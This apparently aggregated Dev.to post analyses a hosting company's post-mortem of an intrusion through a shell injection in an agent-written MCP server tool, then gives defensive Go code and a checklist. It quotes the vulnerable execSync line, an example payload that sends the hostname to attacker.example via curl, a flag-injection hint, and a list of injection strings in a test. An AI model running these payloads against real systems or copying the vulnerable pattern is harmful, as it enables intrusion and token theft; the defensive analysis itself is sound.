Dev.to Security πŸ” Cybersecurity πŸ‘ 0 πŸ“– 10 min read

Mittwald: the MCP server written with agents had a shell injection. The three checks I run on an MCP tool

On 25 November, the German hosting company Mittwald published the post-mortem of its intrusion. The attacker came in through a tool of its MCP server. The tool pasted two text fields into a command line. Most of the code

Mittwald: the MCP server written with agents had a shell injection. The three checks I run on an MCP tool

On 25 November, the German hosting company Mittwald published the post-mortem of its intrusion. The attacker came in through a tool of its MCP server. The tool pasted two text fields into a command line. Most of the code came from coding agents. It is the bug of 2005, written in 2026, and the review let it through.

TL;DR: at Mittwald, an MCP tool passed a comment and a passphrase to ssh-keygen through a shell. The attacker ran his own commands inside the container, read the tokens of every connected user and acted in their name. 56 projects compromised, eight days without detection. On any MCP tool that takes text, I run three checks. Never a shell. No long-lived token in the container. And a test that sends ; id into every field.

State of sources: checked on 1 December 2026, from Mittwald's post-mortem of 25 November. The dates and figures are theirs.

This article is for teams that expose an MCP server, or that review code written by an agent.

The bug of 2005, written in 2026 by an agent

An MCP server exposes tools to an AI assistant. Mittwald's let an assistant create projects, install applications and manage SSH access. One of its tools created an SSH key. When the user did not provide one, the tool generated it with ssh-keygen.

The post-mortem shows the function. It builds the command line with a template string, then runs it with execSync. The comment and passphrase fields come straight from the tool call. Whoever calls the tool chooses them freely.

const passphraseFlag = passphrase ? `-N "${passphrase}"` : '-N ""';
const commentFlag = comment ? `-C "${comment}"` : `-C "mcp-generated-key"`;
execSync(`ssh-keygen -t ed25519 -f "${keyPath}" ${passphraseFlag} ${commentFlag}`, { stdio: 'pipe' });

execSync hands the whole string to /bin/sh -c. The shell interprets everything: quotes, semicolons, and above all $(...) substitutions. The quotes around ${comment} look like protection. They are not: the shell runs $(...) inside double quotes, and the attacker can close the quote himself. This is a shell injection. A comment like $(curl -s https://attacker.example/?h=$(hostname)) goes out on the network before ssh-keygen even starts.

The painful detail: the function deleted the private key right after creating it. Nobody could use the key. Mittwald says it plainly: "its only real effect was the flaw". And when the injected command ended in an error, the cleanup never ran. The container held 161 abandoned key pairs. Three carried the attacker's traces in the comment field: the output of id, the hostname, a curl call to the outside.

The fix is one line: execFileSync('ssh-keygen', ['-t', 'ed25519', '-f', keyPath, '-N', passphrase ?? '', '-C', comment ?? 'mcp-generated-key']). No shell, every argument arrives as is. Better still, no process at all: crypto.generateKeyPairSync('ed25519') does the job inside Node.

Eight days between the first command and detection

The post-mortem rebuilds the attack from access logs, the mStudio event store and the container's file system. The MCP server ran as a separate project, outside the SIEM. A SIEM is the tool that gathers logs in one place and looks for attack patterns. When the container was recreated on 2 November, during an ordinary deployment, part of the traces vanished.

Timeline of the Mittwald intrusion, 21 October to 5 November 2026

Eight days between the first injected command and detection. The MCP server ran outside the SIEM, and the deployment of 2 November erased part of the traces.

On the evening of 21 October, the attacker tests the flaw for the first time. The whole industry is busy with PHP2Shell, two critical flaws in PHP. He comes back on 27 October at 15:03 and gets a shell in the container. He reads the session store and collects the tokens of every user of the MCP server. At 16:25 he acts with an employee's account. On the 28th he starts short-lived containers in the reachable projects. They mount the neighbouring volumes and copy configuration files, keys and database dumps. Mittwald detects the attack on 4 November and shuts the server down on the 5th.

The pace struck Mittwald: seconds between steps, many actions in parallel. They believe the attacker used AI tools himself. A second phase followed from 9 November, through an unknown flaw in the Neos CMS of their website. I leave it out here.

Why the review missed it

Mittwald asks the question itself: how does a bug of this class reach production? Their answer is a few facts. The MCP server was largely built with coding agents, on purpose, to learn fast. Their review rules and guardrails for that code were not ready yet. No static analysis flagged execSync with variables inside. And the name mcp-eval-key suggests code born in a test environment, moved to production without anyone noticing.

The sentence I keep: "agent code usually looks plausible, cleanly commented". That is exactly why you review the function, not each line. The comment says "Generate ed25519 key (modern, secure, small)". The reviewer reads the comment, sees an ed25519 key and moves on. Mittwald adds that humans make the same mistake, and that a thorough review should have caught it. But agents produce more code to review, and the review turns shallow in places.

I have seen this mechanism up close. In my article of 13 November, a security tool wrote itself into my agent config, and I found out by chance. In the one of 25 September, I describe the audit I run before taking over an AI-built application. Clean code is the rule there, not the exception. That is why I do not read it to know whether it works. I read it to know where an input touches a system.

What turned one hole into 56 projects

An injection in one tool should not yield 56 projects. Mittwald lists what amplified the damage, and the list holds for any multi-user MCP server.

  • The session store held the OAuth tokens of every user, readable from the container. A hole in one tool gave every session.
  • Scopes were broad. Whoever connects an assistant gives it many rights, so that it is useful. Mittwald's employees used the server too, with access to internal production projects.
  • The container's file system was writable. The attacker dropped his own tools there, including a Redis client that was not in the image.
  • The container could reach the Internet freely. The attacker opened a reverse tunnel and worked live, instead of pushing each command through the tool.
  • The server was not wired to the SIEM. Detection took eight days.

Mittwald says so: stealing the tokens needed neither the writable disk nor the outbound network. But each point made the attacker's work more comfortable, and theirs longer.

Check 1: never a shell, and a closed list of commands

I wrote this rule in July in my article on MCP servers in Go: never a shell, arguments go to the program. Mittwald shows what happens when you skip it. In Go, exec.Command never goes through a shell, unless you ask for sh -c. The trap is more visible than in Node, but it exists.

// ❌ the shell interprets comment: $(...), ; and " get executed
exec.Command("sh", "-c", fmt.Sprintf(`ssh-keygen -t ed25519 -f %s -C "%s"`, path, comment))

// βœ… no shell: comment arrives as is, whatever it contains
exec.Command("ssh-keygen", "-t", "ed25519", "-f", path, "-N", "", "-C", comment)

I go one step further. An MCP tool has no right to run just anything. Every allowed program sits in a closed list, with its full path. An argument that starts with - is refused when it comes from the user, because a comment of -oProxyCommand=... is an attack too, with no shell at all.

var allowed = map[string]string{
    "ssh-keygen": "/usr/bin/ssh-keygen",
}

func run(ctx context.Context, name string, userArgs ...string) ([]byte, error) {
    bin, ok := allowed[name]
    if !ok {
        return nil, fmt.Errorf("command %q is not allowed", name)
    }
    for _, a := range userArgs {
        if strings.HasPrefix(a, "-") {
            return nil, fmt.Errorf("argument %q looks like a flag", a)
        }
    }
    ctx, cancel := context.WithTimeout(ctx, 10*time.Second)
    defer cancel()
    return exec.CommandContext(ctx, bin, userArgs...).Output()
}

And the best command is still the one you never run. In Go, ed25519.GenerateKey(rand.Reader) creates the key inside the process. No ssh-keygen, no temporary file, no cleanup that gets skipped.

Check 2: a compromised container must be worth nothing

Mittwald's MCP server kept each user's access and refresh tokens in a session store. That is in the nature of an MCP server: it talks to the API on the user's behalf. But nothing forces a compromised tool to read every session.

My rule: the container keeps no long-lived token. The user's token arrives with the request, lives in that request's context, and dies with it. It is short, an hour at most, and its scope is the requested work, not the whole account. A tool never receives the token itself: it receives an already authenticated client, for this call.

type ctxKey struct{}

// The middleware reads the token of the MCP request and puts it in the context.
// No global map, no file, nothing to read from a shell.
func withToken(ctx context.Context, token string) context.Context {
    return context.WithValue(ctx, ctxKey{}, token)
}

func apiClient(ctx context.Context) (*api.Client, error) {
    token, _ := ctx.Value(ctxKey{}).(string)
    if token == "" {
        return nil, errors.New("no token for this call")
    }
    return api.New(token), nil // the client lives for this call only
}

The rest is container hardening, and Mittwald lists every point. Read-only file system. No outbound network except the API. An unprivileged user. And logs shipped to the SIEM, like any other service. With that, the same bug yields a shell in an empty container, which can read nothing and send nothing.

Check 3: a test that sends ; id into every field

The first two checks are code rules. They get forgotten, as at Mittwald. The third is a test, and it runs on every commit. In my article of 18 November, I explain why a test beats a report: it reads the real value, not the comment.

The test walks every tool of the server. For each text field, it sends four classic payloads. Then it checks two things: the response does not contain the output of id, and no marker appeared on disk.

var payloads = []string{
    "; id",
    "$(id)",
    "`id`",
    `x"; id; echo "`,
}

func TestToolsResistShellInjection(t *testing.T) {
    srv := newTestServer(t) // real tools, fake API, test container
    for _, tool := range srv.Tools() {
        for _, field := range tool.TextFields() {
            for _, p := range payloads {
                out, err := srv.Call(t.Context(), tool.Name, map[string]any{field: p})
                if err == nil && strings.Contains(out, "uid=") {
                    t.Errorf("%s.%s: payload %q ran a command", tool.Name, field, p)
                }
            }
        }
    }
}

On Mittwald's function, this test fails on the first payload. Once fixed with separate arguments, it becomes a regression test. The day an agent rewrites the function "to simplify" with a template string, CI breaks. The reviewer no longer has to think about the shell. The test thinks about it for him.

What it looks like on my own MCP server

I am not writing this from a tower. My personal assistant exposes a stdio MCP server, in Python, that drives my prospecting tool. I reread it with the three checks.

Check 1: the server starts no process. Every tool makes an HTTP call to an API, through a client that carries the token. And a test in the suite forbids import subprocess in plugin code, along with eval and exec. Check 2: the server serves a single user, me. It reads a single token from its environment. Mittwald's lesson on shared sessions does not apply yet, and it will the day the server serves someone else. Check 3: the injection test does not exist, because no tool touches a shell. I am adding it anyway, for the day an agent adds a tool that does.

The checklist

An MCP tool that takes text and touches a system is a boundary. Treat every field as an attack, not as a comment.

  • [ ] Search your tools for sh -c, execSync, os.system and shell=True, and replace them with separate arguments
  • [ ] Keep a closed list of allowed programs, with full paths, and refuse user arguments that start with -
  • [ ] Prefer the library to the process: an ed25519 key needs no ssh-keygen
  • [ ] No long-lived token in the container: a short token, per user and per call, with minimal scope
  • [ ] Read-only container, no outbound network except the API, logs wired to the SIEM
  • [ ] A test that sends ; id, $(id) and id into every text field of every tool, in CI
  • [ ] For agent code, review the lines where an input touches a system, not the function as a whole

What to remember

Mittwald was not beaten by a flaw in MCP. It was beaten by a shell injection in a comment field, a bug known for twenty years. The agent wrote it fast and clean. The review read the comment. The container held everyone's tokens.

Three checks would have been enough, and the third does not even require reading the code. If your MCP server was written with agents, now is the time to run the test.

Want me to put your MCP server or your agent code through this exam? Have a look at my DevSecOps audit offer, or let's talk.

Sources: Mittwald post-mortem, 25 November 2026 Β· CWE-78, OS command injection Β· Node.js child_process Β· Go os/exec

πŸ“° Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes β€” full credit and traffic to the original publisher.